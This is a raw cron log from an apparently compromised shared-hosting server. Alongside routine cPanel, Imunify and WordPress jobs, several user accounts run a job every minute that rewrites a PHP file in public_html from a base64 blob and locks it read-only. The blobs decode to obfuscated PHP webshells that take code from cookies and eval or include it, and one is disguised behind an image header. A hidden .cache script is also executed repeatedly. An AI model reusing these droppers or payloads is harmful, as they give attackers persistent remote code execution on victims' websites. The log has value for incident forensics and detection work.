Mar  2 01:22:01 medusa CROND[2885]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:22:01 medusa CROND[2886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:22:01 medusa CROND[2887]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:22:01 medusa CROND[2888]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:22:01 medusa CROND[2889]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:22:01 medusa CROND[2890]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:22:01 medusa CROND[2895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:22:01 medusa CROND[2898]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:22:01 medusa CROND[2899]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:22:01 medusa CROND[2896]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:22:01 medusa CROND[2907]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:23:01 medusa CROND[9681]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:23:01 medusa CROND[9682]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:23:01 medusa CROND[9683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:23:01 medusa CROND[9684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:23:01 medusa CROND[9685]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:23:01 medusa CROND[9686]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:23:01 medusa CROND[9687]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:23:01 medusa CROND[9690]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:23:01 medusa CROND[9691]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:23:01 medusa CROND[9692]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:23:01 medusa CROND[9694]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:23:01 medusa CROND[9700]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:24:01 medusa CROND[15172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:24:01 medusa CROND[15218]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:24:01 medusa CROND[15274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:24:01 medusa CROND[15348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:24:01 medusa CROND[15349]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:24:01 medusa CROND[15350]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:24:01 medusa CROND[15357]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:24:01 medusa CROND[15358]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
